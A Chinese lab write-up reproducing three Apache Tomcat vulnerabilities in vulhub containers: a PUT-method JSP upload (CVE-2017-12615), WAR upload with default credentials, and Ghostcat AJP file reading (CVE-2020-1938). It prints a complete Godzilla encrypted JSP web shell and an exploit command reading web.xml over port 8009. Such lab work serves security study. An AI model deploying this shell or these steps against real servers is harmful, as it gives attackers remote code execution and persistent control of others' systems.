中间件漏洞复现(一)-Tomcat

1.CVE-2017-12615

环境使用靶场vulhub(centos7.6虚拟机没拉到环境，使用服务器搭建的环境)

进入/vulhub/tomcat/CVE-2017-12615目录下，启动docker，访问，使用BP抓包

将请求头改为PUT，后面跟上jsp木马文件名，在下面写入jsp木马内容(内容为哥斯拉生成)

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>

放包后，使用哥斯拉测试连接

2.tomcat8

进入vulhub-master/tomcat/tomcat8目录下启动容器，访问后登录默认账户密码都为tomcat

登录成功后，将jsp木马压缩为zip，将后缀改为war上传

上传成功后，能够从上面看到

哥斯拉连接，拼接路径为压缩文件名/jsp文件

3.CVE-2020-1938

进入vulhub-master/tomcat/CVE-2020-1938目录下，docker-compose up -d启动环境，访问

此漏洞利用原理为：tomcat默认的conf/server.xml中配置了2个Connector，一个为8080的对外提供HTTP协议端口；另一个为默认的8009AJP协议端口，两个端口默认监听在外网ip，

此漏洞为文件包含漏洞，可以通过tomcat读取或包含tomcat

故直接使用工具利用文件包含漏洞(无论打开端口，此漏洞都使用8009)

python2 '/root/桌面/CVE-2020-1938-Tomact-file_include-file_read-master/Tomcat-ROOT路径下文件包含(CVE-2020-1938).py' -p 8009 -f /WEB-INF/web.xml ip

 

tomcat漏洞复现结束，欢迎指出错误和讨论